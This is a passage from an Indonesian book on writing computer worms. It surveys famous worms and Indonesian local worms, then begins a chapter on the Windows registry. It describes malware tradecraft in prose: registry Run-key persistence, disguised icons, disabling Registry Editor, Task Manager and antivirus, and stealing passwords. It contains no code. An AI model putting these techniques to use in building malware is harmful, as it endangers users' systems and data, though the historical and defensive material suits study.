13Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.

2.5.3 HAPPY99Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan attachment sebuah file aplikasi bernama happy99.exe. Ketika file terse-but dieksekusi tampil gambar kembang api untuk memperingati tahun baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse yang mengijinkan worm tersebut menyisipkan dirinya pada proses komunikasi internet, sementara file WSOCK32.DLL yang asli diubah kembali namanya menjadi WSOCK32.SKA

2.5.4 MELISADi bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari.

Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus.

Mellisa menyertakan sebuah file attachment berupa file dokumen Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi se-buah komputer.

Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali yang dilakukannya adalah melakukan pemeriksaan apakah versi aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan mengurangi pengaturan keamanan pada aplikasi Word untuk mence-gah aplikasi menampilkan pesan atau peringatan tentang adanya suatu macro, yang akan mencurigakan user.

Page 29: Computer Worm 1 secret of underground coding

14Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat) aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan membawa serta virus tersebut.

2.5.5 PRETTY PARKSebuah worm lainnya menyebar luas dimusim panas tahun 1999. Worm yang dinamakan "Pretty-Park" ini menyertakan attachment berupa file "Pretty Park.exe". Tidak ada penjelasan pada attachment, hanya saja file tersebut menggunakan icon bergambar seekor beruang, yang merupakan sebuah karakter pada suatu pertunjukan televisi "South Park".

Jika dieksekusi, worm menginstal dirinya ke direktori System Windows dan memodifikasi registry yang membuat worm tersebut aktif saat file ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan bagi program antivirus, yang tentunya juga ber-ekstensi "exe".

Worm juga mengirimkan salinan dirinya pada alamat e-mail yang ada pada buku alamat Windows. Pretty Park kemudian berusaha mengirimkan beberapa data system dan password pada sebuah server IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini memasang suatu backdoor.

2.5.6 EXPLORE ZIPPada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip" yang menyamar sebagai file zip (file terkompresi) dalam attachment sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesala-han. ExploreZip secara diam-diam menyalin dirinya kedalam direktori System Windows dan memodifikasi registry.

Page 30: Computer Worm 1 secret of underground coding

15Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya.

pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan meng-hasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cu-kup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal dirinya sendiri pada system Windows.

Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Power-point), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga file-file tersebut sulit untuk diselamatkan.

2.5.7 BUBBLE BOYAwal tahun 2000, muncul sebuah virus yang membawa sebuah konsep baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer dapat tertular hanya dengan melihat e-mail, tanpa harus membuka pesannya.

Virus ini mengambil keuntungan dengan adanya celah keamanan pada aplikasi Internet Explorer, yang secara otomatis mengeksekusi script Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk file HTML dan mengandung script virus dalam bahasa Visual Basic.

Jika menggunakan aplikasi Outlook, script tersebut akan dijalankan walaupun yang dilakukan hanya preview. File tersebut akan ditambah-kan pada direktori StartUp Windows, sehingga apabila komputer dihidupkan virus akan berusaha mengirimkan dirinya pada setiap alamat yang ada pada address book aplikasi Outlook. Diwaktu yang hampir bersamaan, worm "KAK" tersebar dengan cara yang serupa.

Page 31: Computer Worm 1 secret of underground coding

16Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.5.8 LOVE LETTERDibulan Mei 2000, lajunya penyebaran worm "LoveLetter" menun-jukkan efektifitas serangan dengan metode social engineering, yang hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam penyebarannya.

E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti "Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk mengeksekusi attachment yang merupakan worm tersebut. File attach-ment berupa Visual Basic Script yang bisa dieksekusi dengan Windows Script Host (bagian dari Windows98, Windows2000, Internet Explorer 5, atau Outlook 5).

Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori System Windows dan memodifikasi registry untuk memastikan bahwa worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut, maka worm akan mengirimkan salinannya pada siapa saja yang ada pada address book aplikasi Outlook.

Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan salinan dirinya pada siapa saja yang bergabung pada saluran IRC terse-but. LoveLetter juga memiliki kemampuan untuk mencuri password.

Dengan mengubah home page (alamat url yang akan diakses pertama kalinya) pada Internet Explorer ke suatu website di Asia, worm akan mengusahakan agar suatu trojan horse di download dari website tersebut, dimana trojan horse tersebut akan mengumpulkan password e-mail dan mengirimkannya ke suatu alamat di Asia.

2.5.9 HYBRISDibulan Oktober 2000, worm Hybris menyebar dengan e-mail ber-attachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa men-download file update untuk dirinya sendiri dari newsgroup "alt.comp.virus" metode yang digunakan termasuk canggih dan sangat berbahaya karena payload worm tersebut bisa diubah kapan saja.

Page 32: Computer Worm 1 secret of underground coding

17Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

2.5.10 ANNA KOURNIKOVAPada bulan Februari 2001, kembali sebuah worm mencemaskan para pengguna internet, yang memanfaatkan kepopuleran seorang petenis asal Rusia "Anna Kournikova". Worm ini dibawa dalam suatu attachment e-mail yang menyatakan bahwa lampiran tersebut adalah file gambar dalam bentuk file jpg yang memuat foto pemain tenis tersebut. Apabila file tersebut dieksekusi maka akan mengirimkan salinan dirinya kepada setiap nama yang terdaftar pada buku alamat Microsoft Outlook.

2.5.11 SADMINDPada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah meng-eksploitasi vulnerability buffer overflow pada sistem operasi Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.

2.5.12 CODE REDMemanfaatkan vulnerability pada Index Server ISAPI tersebut, pada tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red" yang menyerang semua IIS webserver, dengan aksi mengubah tampi-lan awal website pada server yang tertular.

Pertama kali worm menginstal dirinya pada system, membaca IP system dan dari IP tersebut worm menyusun 99 IP baru, kemudian melakukan pemeriksaan sistem operasi pada IP yang berhasil disusun-Jika worm menemukan sebuah IP target menggunakan sistem operasi

Page 33: Computer Worm 1 secret of underground coding

18Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu web-site) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!."

Berikutnya worm mencari file c:\notworm. Worm tidak akan meng-hentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal 20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm mem-buat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen.

Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen.

Di bulan Agustus 2001, kembali Code Red muncul dengan versi ber-beda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan mem-buat suatu trojan "explorer.exe" dan ditempatkan pada direktori root.

2.5.13 NIMDATanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta.

Walaupun worm ini tidak menggunakan metode baru dalam penye-barannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random (acak) dan sebuah file attachment "readme.exe".

Page 34: Computer Worm 1 secret of underground coding

19Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script tertentu dengan tujuan akan secara otomatis mengaktifkan file attach-ment walaupun e-mail tersebut hanya dilihat pada preview pane saja.

Bila komputer terinfeksi berada dalam suatu jaringan maka secara oto-matis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama file secara random pada daftar file yang ada pada komputer terinfeksi, dengan menggunakan ekstensi EML atau NWS.

Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaat-kan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind. Banyaknya perubahan pada file system dan registry membuat worm ini sulit untuk dibersihkan.

2.5.14 BADTRANS.BPada bulan November 2001, BadTrans kembali beraksi setelah kemun-culan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering.

BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas e-mail tersebut dengan file attachment berupa salinan dirinya sendiri.

Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan se-cara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya.

BadTrans.B akan menginstal suatu program trojan yang akan mencuri user name dan password kemudian mengirimkannya pada suatu alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian sebesar US $ 210 juta.

Page 35: Computer Worm 1 secret of underground coding

20Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.5.15 KLEZWorm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja.

Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima.

Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System Win-dows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada registry sehingga worm akan aktif saat komputer dihidupkan.

Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez.d worm ini juga memodifikasi registry dengan alasan yang sama,

Selain itu worm ini juga telah dipersenjatai dengan pembunuh pro-gram antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love.

Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attach-ment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk terse-but, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka.

Klez merupakan salah satu worm yang memiliki siklus hidup ter-panjang, yang pernah mengacaukan dunia internet. Pertama kali dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun 2002 sebagai worm yang paling lazim di internet.

Page 36: Computer Worm 1 secret of underground coding

21Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.

2.5.16 SLAMMERSerangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir sama dengan CodeRed, dan tidak memodifikasi registry.

Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.

2.5.17 BAGLEDi minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui ber-nama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004 dan berusaha untuk menghapus file launcher-nya.

Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt, htm, html dan wab pada sistem lokal.

Saat file infector dieksekusi, Bagle membuat salinan file worm pada direktori System Windows, kemudian memanipulasi registry agar worm tereksekusi setiap kali Windows startup.

Page 37: Computer Worm 1 secret of underground coding

22Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.5.18 NETSKYTidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memung-kinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer.

Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attach-ment dan dalam bentuk file terkompresi. File worm berukuran sebesar 22 Kb dan menggunakan icon yang disamarkan sehingga terlihat sebagai sebuah file dokumen Microsoft Word.

Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe’, kemudian me-manipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.

2.6 PERKEMBANGAN WORM LOKALBerikut ini beberapa catatan singkat tentang worm lokal yang pernah ada dan dibuat oleh worm writer asal Indonesia.

2.6.1 I-WORM PERKASAPada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan dibuat dengan menggunakan program Visual Basic.

Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm Updater ini menggunakan media Microsoft Outlook dalam penye-barannya, saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'UPDATE.EXE’, kemudian menam-bahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup.

Page 38: Computer Worm 1 secret of underground coding

23Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

2.6.2 PESINWorm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena worm Pesin menggunakan nama-nama tersebut sebagai nama dari file infector.

Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'SysTask.exe’, Pesin juga membuat salinan pada direktori My Documents dengan nama file 'MyHeart.exe’ kemudian menambahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.

2.6.3 TABARUPada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Ri-yanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg.

Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe’ pada direktori 'C:\!submit’ dan file 'riyani_jangkaru.exe’ pada root direktori ’C:\’, kemudian menambahkan value 'winloader’ pada registry run yang akan mengaktifkan worm setiap Windows startup. Hanya saja worm ini baru banyak dikenal pada pertengahan Juli 2005.

Page 39: Computer Worm 1 secret of underground coding

24Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.6.4 KANGENPada pertengahan April 2005, suatu worm lokal kembali me-resahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic,

menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi .

Saat file infector dieksekusi worm ini meng-copy dirinya ke direk-tori System Windows dengan nama 'CCAPPS.EXE’ dengan ukuran file sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha menonaktifkan program Task Manager, MS Config dan Registry Edi-tor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.

2.6.5 KUMISDiawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang ke-mudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Win-dows Server 2003.

Saat file infector dieksekusi worm ini membuat salinan dirinya ke direktori System Windows dengan nama 'username logon.exe’ dimana username adalah nama user aktif, kemudian memanipulasi registry agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart komputer setiap kali Windows startup.

Page 40: Computer Worm 1 secret of underground coding

25Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

2.6.6 DECOILWorm Decoil yang juga sering disebut Decoy ini muncul di penghujung tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft Word dan membuat salinan dengan nama yang persis dengan nama file yang disembunyikan.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'lExplorer.exe’, pada direktori System Win-dows dan sub direktori '\i75-d2’ dengan nama file 'dkernel.exe’. Decoy tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb (besar file ini setelah dikompres dengan UPX).

2.6.7 RONTOKBRODiawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp sendiri dalam mengirimkan file infector-nya dan selektif dalam pemili-han alamat e-mail target.

Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.

2.6.8 NOBRONTidak begitu lama setelah kemunculan RontokBro, worm yang ke-mudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config, Task Manager dan CMD.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'MsPatch.exe’, selain itu Nobron juga membuat salinan ke setiap root dari masing-masing drive termasuk USB Flash Disk dengan nama file 'foto administrator.exe’.

Page 41: Computer Worm 1 secret of underground coding

26Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.6.9 RUNITISPada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran file sebesar 164 Kb dan telah dikompres dengan aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur).

Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus

file program regedit.exe (Registry Editor), msconfig.exe (MS Config), wmplayer.exe (Windows Media Player), winamp.exe dan winampa.exe (Winamp) serta beberapa file program lainnya kemudian membuat salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.

2.6.10 BLUEFANTASYDi akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun Blue-Fantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut.

Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com’ dan menggunakan atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe dan scr akan terlihat sebagai aplikasi Microsoft Word.

Page 42: Computer Worm 1 secret of underground coding

27Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

2.6.11 ROMDILPertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic.

Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows Explorer.

Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah user mengeksekusi aplikasi CMD (command prompt), MS Config, Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run.

2.6.12 MYBRODi bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C. MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon dengan gambar Folder.

Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control.

Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk menghapus file Microsoft Visual Basic Virtual Machine yang akan menggagalkan proses untuk setiap aplikasi yang dibuat dengan meng-gunakan bahasa Visual Basic, serta melakukan blocking ke beberapa situs tertentu.

Page 43: Computer Worm 1 secret of underground coding

28Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.6.13 IRCBOT.AQFDibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini ti-dak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal tahun 2006, yang akan me-restart komputer jika proses salah satu file launcher dimatikan. File worm berukuran 32 Kb dan menggunakan icon file dokumen Microsoft Word.

2.6.14 LIGHTMOONWorm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm, sehingga user malah mengeksekusi worm tersebut apabila menjalankan salah satu fungsi tersebut.

Page 44: Computer Worm 1 secret of underground coding

29Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

BAB 3 REGISTRY WINDOWS

Kenapa bab ini ada?

Dalam sistem operasi Microsoft Windows, keberadaan registry menjadi sangat vital karena registry menyimpan pengaturan-pengaturan baik oleh sistem operasi itu sendiri maupun program aplikasi yang terinstal.

Keberadaan registry menjadi suatu keuntungan bagi worm writer untuk membuat suatu worm tetap aktif saat komputer dihidupkan, bahkan dengan registry pula suatu worm bisa melumpuhkan program yang bisa membahayakan worm tersebut.

Sebaliknya dengan memiliki pengetahuan tentang registry, seorang administrator sistem akan lebih mudah dalam menangani worm, bahkan tidak sesekali penulis temukan bahwa hanya dengan menghapus registry milik suatu worm, ternyata mampu melumpuhkan worm tersebut.

Page 45: Computer Worm 1 secret of underground coding

30Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

Registry adalah suatu database yang digunakan untuk menyim-pan pilihan dan pengaturan pada system Microsoft Windows versi 32 bit yang mencakup Windows 95, 98, ME, NT/2000 dan

XP.

Registry berisi pengaturan dan informasi untuk semua hardware (perangkat keras), software (perangkat lunak), user (pengguna), dan pilihan-pilihan yang berkaitan dengan komputer tersebut. Ketika user melakukan perubahan pada pengaturan control panel, atau asosiasi file, system policies, atau menginstall suatu software, maka perubahan tersebut akan tersimpan di registry.

File data pada registry disimpan dengan cara yang berbeda dan ter-gantung pada versi Windows yang digunakan. Pada Windows 95 & 98 file data terdapat di dua file Hidden di dalam direktori Windows, yaitu file USER.DAT dan SYSTEM.DAT, untuk Windows ME ada suatu tambahan berupa file CLASSES.DAT, sedangkan pada Windows NT/2000/XP file dimasukkan secara terpisah di dalam direktori %Systemroot%\System32\Config.

Anda tidak bisa mengubah file ini secara langsung, tetapi harus menggunakan suatu tool yang disebut sebagai Registry Editor untuk membuat perubahan apapun pada registry.

3.1 STRUKTUR REGISTRYRegistry memiliki struktur hirarki yang mirip dengan struktur direk-tori pada aplikasi Windows Explorer. Masing-masing cabang utama disebut hive.

Hive berisi key (kunci) dan masing-masing key bisa berisi key-key yang lain (sub-key), dan key bisa berisikan value (nilai). Value memuat data informasi aktual yang disimpan di dalam registry.

Ada tiga jenis data yang umumnya digunakan yaitu; String, Binary, dan DWORD – penggunaan masing-masing data ini tergantung pada konteks.

Page 46: Computer Worm 1 secret of underground coding

31Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

